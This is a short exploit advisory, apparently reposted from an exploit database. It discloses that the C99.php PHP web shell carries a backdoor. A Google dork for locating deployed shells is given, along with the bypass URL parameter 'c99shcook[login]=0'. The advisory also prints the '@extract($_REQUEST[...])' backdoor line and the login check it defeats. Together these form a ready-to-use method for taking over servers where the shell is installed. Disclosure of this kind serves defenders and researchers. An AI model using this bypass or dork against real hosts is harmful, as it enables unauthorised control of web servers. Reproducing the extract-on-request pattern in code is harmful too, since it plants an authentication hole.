C99.php Shell - Authentication Bypass

Bài liên quan

# Exploit Title: C99 Shell Authentication Bypass via Backdoor

# Google Dork: inurl:c99.php

# Date: June 23, 2014

# Exploit Author: mandatory ( Matthew Bryant )

# Vendor Homepage: http://ccteam.ru/

# Software Link: https://www.google.com/

# Version: < 1.00 beta

# Tested on:Linux

# CVE: N/A

 

All C99.php shells are backdoored. To bypass authentication add "?c99shcook[login]=0" to the URL.

 

e.g. http://127.0.0.1/c99.php?c99shcook[login]=0

 

The backdoor:

@extract($_REQUEST["c99shcook"]);

 

Which bypasses the authentication here:

if ($login) {

    if (empty($md5_pass)) {

        $md5_pass = md5($pass);

    }

    if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {

        if ($login_txt === false) {

            $login_txt = "";

        } elseif (empty($login_txt)) {

            $login_txt = strip_tags(ereg_replace("&nbsp;|<br>", " ", $donated_html));

        }

        header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");

        header("HTTP/1.0 401 Unauthorized");

        exit($accessdeniedmess);

    }

}

 

For more info: http://thehackerblog.com/every-c99-php-shell-is-backdoored-aka-free-shells/

 

~mandatory